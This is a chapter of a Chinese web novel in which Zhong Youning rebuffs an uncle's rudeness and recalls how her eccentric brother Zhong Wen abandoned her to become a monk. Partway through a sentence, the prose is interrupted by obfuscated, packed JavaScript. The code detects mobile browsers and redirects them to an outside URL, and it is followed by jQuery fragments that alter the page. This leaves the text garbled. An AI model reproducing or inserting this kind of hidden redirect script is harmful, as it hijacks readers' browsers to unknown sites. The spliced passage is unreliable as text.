钟攸凝咽下火气,抬头直面郑佩。
她恭敬的唤道:“表叔。”
这是提醒郑佩,他的话已经冒犯到了表侄女,郑佩要是要脸,就应该知道这个称呼的禁锢,感觉羞愧。
她唤老夫人姑祖母,钟老夫人是她祖父的隔房堂妹,从祖父那代起血缘就开始稀薄,从辈分上说她应该称呼郑佩二表叔,跟侯府的公子们以表兄妹相称。
郑佩脸上错愕:“你是钟家人。”
钟攸凝:“是。”
再次提醒他,刚刚的话调戏到老夫人母族小辈上了。
郑佩能说会道,现在也觉得尴尬,弯腰作揖:“对不住,是表叔失礼了。”
钟攸凝表面客气:“人都会犯错,这个礼我收下了,表叔无需过多自责,在我心里,表叔就如同父辈一样的长者,顶天立地。”
郑佩脸上更尴尬了。
钟攸凝明褒暗贬的说了一通,带着阿喜走了。
其实侯府三位老爷的年纪不算大,侯爷郑琦都才过而立没几年,钟父前两年刚走的时候刚过四十,是一个孜孜不倦的老考生,又没什么天赋的选手,但钟攸凝年芳不过十六,对她来说,这几位表叔都是老登。
来福追上了郑佩。
他喘着粗气:“主子你走得太快了,奴差点没跟上。”
来福作为贴身小厮正在反省,对郑佩来说就全是庆幸了。
那样尴尬的场面,只有他一个人在就行了,不想被第三人看个全程。贴身小厮也不行。
他扶了扶额,简短的说了句:“刚撞上表姑娘了。”
“表姑娘?哪个表姑娘?”来福说完,一下就反应过来了。
二爷说的是投奔侯府的钟表姑娘。
钟攸凝在府上传得最广的事是她的外号:病秧子,但表姑娘从来的第一天起就病重,连门都没出,除了汀兰居伺候的婢子们,都不知道这位表姑娘具体是何模样。
郑佩越想越气,恼羞成怒:“你们这些狗东西,怎么不提醒我她要来给母亲问安!”
来福:......
来福都不去想前因后果,只知道主子生气了,作为仆人,他二话不说就滑跪,把所有责任都大包大揽:“是奴错了。”
阿喜在,都得大呼一声学到了。
有了仆人递过去的台阶,郑佩脸色好看很多。
来福适时凑过去问道:“二爷,表姑娘是何模样?听说表姑娘是孤女...”
郑佩:“谁说她是孤女?”
来福被问住了,结结巴巴:“都、都说表姑娘丧父丧母,成了孤女,这才投奔侯府。”
郑佩背着手,不再大步走路,开始慢悠悠的停下来:“丧父丧母不假,但她不是孤女。”
来福:“啊?”
“表姑娘还有一位兄长在。”郑佩没有藏噎。
回到汀兰居,阿喜越想越气,她刚刚完全没有发挥就结束了,心里还有火窝着,恨不得现在重新回去,面对郑佩的无礼,她直接站在姑娘面前,甚至现在脑子里想的全是如何拳打郑佩,脚踹郑佩。
钟攸凝解释:“他虽然对我无礼,但我也膈应他了。”
像郑佩这样的公子哥,在知道她身份的那刻,怕是像吞苍蝇一样难受。
郑佩活该。
阿喜一张脸都快皱成一团了,撇撇嘴:“说来说去,还是怪大郎。”
钟攸凝一听这个名字,眉心也忍不住团成一团。
钟闻是她哥,从小就是个奇葩,干过的奇葩事情赶上她十六年吃过的盐了。
她哥从小时候就觉醒了求知若渴的心,作为不太聪明的秀才公,钟父在屡试不中之下已经深刻怀疑自己了,认为自己天资平平,所以无论怎么苦读也比不上真正有天赋的人轻轻一拨。
这话本来也没说错,读书这种东西,确实要看天赋,有些人天资平平,那他的路就走得崎岖艰难,考中一个进士都是祖上积德,但大部分都在进士之前止步,有些人天资聪颖,二三十就扬名学坛,家喻户晓,这种是老天爷追着赏饭吃。
可惜钟父没有这等天资,考到四十了还是个秀才公,不出意外他只有两条路。第一条老老实实放弃,开个私塾专门教导启蒙,第二是持之以恒,再接再励,相信终有一天能考中,哪怕白发苍苍,步履蹒跚着去赶考。毕竟书上七八十赶考,最后考中点为状元的也有好几位,未必就不能轮到他,成为新的“大器晚成”的代表人物。
她哥这种特质在钟父眼里非常珍贵,认定她哥是专为读书而生,专门一扫他们钟家颓势的人,是钟家的“天选之子”,对她哥钟闻寄予厚望。
你看连名字都这样贴切,闻,闻书起舞,寄往他能破解书中谜题,像闻道一样把书奉着。
钟攸凝幼时,钟闻在这个时期表现出了兄友妹恭的品德。
钟父只要不在,钟闻阳奉阴违的拉着妹妹就出门,闯荡在山河湖海间,让钟攸凝一坐,背着小手给她讲他观察到的神奇故事,像是风是怎么出现的?为什么会出现?水又为什么会涨会降。
长大,钟闻不负钟父期望,十七下场,首次就拿了个童生回来,有了功名加持,钟闻出门更频繁了,说是“游学”,反正钟攸凝每次都见他带一些奇奇怪怪的物件回来。
有一回他还给她讲游学途中的故事。这种故事钟攸凝听得太多了,只当是她哥遇上的奇闻轶事。
她哥考秀才那年回来,在沿途的驿馆中遇到个化缘的大和尚,钟闻见大和尚满口佛言佛语,当即就自掏腰包为大和尚买了干粮,得知大和尚是受邀去深山中古寺论佛,厚脸皮的要跟着大和尚去见识。
到了地方一看,古寺中受邀来的和尚不少,个个口吐莲花,别人都是受邀而来,他是硬要来,死皮赖脸的在各个大和尚身边偷经。
钟闻虽然第一次接触佛法,但不妨碍他求知若渴,有一探究竟的心,别人论佛几日,他就蹭了几日,最后还用偷学的经文找上大和尚论辩,且没输下阵来。
法辩结束,好几位大和尚朝他伸出了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042021|178817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
橄榄枝,表示“这个年轻人考科举浪费了,应该来跟我们参禅,把佛法发扬光大”。
钟闻讲的时候,钟攸凝还笑话过他,说他吹牛大王,这事被钟父知道后,钟闻挨了顿板着,钟父表示要给钟闻定门亲事,给他找个媳妇来管。毕竟家里小辈不听话是因为没成家,他现在一个单身汉想走就走,又没牵挂,等他成家,家里有媳妇孩子,有人等了,就知道收心了。
钟父指望着用成家把钟闻改造好,变成一个顾家的好男人,经过长达一年的挑选,终于定下了。可惜还没有等到钟闻定亲过礼,钟父先出了事,这桩婚事就吹了。
办好钟父钟母的丧仪后,钟闻消失了两个月,再出现时,他已经褪去了俗家姓名,说拜师了一位佛法高深的大和尚,准备正式出家,以后潜心钻研佛法了,并且还一口一个“施主”的叫她。
钟闻作为兄长,在钟父钟母后,本该是顶梁柱,把这个家支撑起来,给钟攸凝撑腰,给她定下亲事,送她出嫁才是,在这之前还能娶个媳妇,生几个孩子,就不止是钟父钟母的念想,也是大部分人的做法。
但钟闻是正常人吗?不是。作为兄长,对钟攸凝这个尚且年幼的妹妹,钟闻也做了安排,他说他在寺庙旁边给钟攸凝找了尼庵,让钟攸凝跟着出家,以后一左一右,一座寺庙,一座尼庵,兄妹两个就能互相照顾了。他不止不亲自送她出嫁,还想要送她出家。
简直歹毒。
在被钟攸凝坚定拒绝后,钟闻还叹了口气,一副“妹妹怎么不领情”的模样,明知妹妹年幼,但走得毫不留念,留下一笔钱就一去不回。
钟攸凝等不到人,只好给钟父钟母写了封信告状,在他们坟前烧掉,希望他们能够管管儿子。
为了怕钟父钟母偏袒儿子,钟攸凝把从小到大,钟闻带着她干过的荒唐事都写了下来,主要意思表达“你们看看你们的好儿子,从小就是个双面人,不安分的主,再不管管要上天了”。
可惜信一封一封的烧了过去,但一个响都没听见,钟闻仍是不见人影,钟攸凝把“钟家即将绝后”这样的重话写上去都没用,也放弃了。
爹娘在的时候,钟闻都能找出各种理由出门,现在爹娘都不在了,钟闻已经彻底放飞了。
论奇葩,没人比得过他。
提起钟闻这位兄长,想起自他走后遇到的种种情况,钟攸凝心气就不顺畅,恨不得化身河东狮,暴揍他一顿才能舒心。这是再好脾性的人遇到钟闻,摊上这种事都是忍不了的。
钟攸凝不想探讨任何跟钟闻有关的,阿喜也知道她的态度,平时是不会提他的,今天实在没忍住。
大郎就是这一切的根源,没有他的出家,她们姑娘压根不会遇上这种事。
钟攸凝上辈子没办法平复心态,提及跟钟闻有关的就炸毛,跟变了个人,现在可能是经历有了变化,提起钟闻,她已经能用平常心看待,在这种情况下,她倏地察觉到了她哥奇葩事迹中的一处不合理的地方:“他给我的那笔钱是怎么来的?”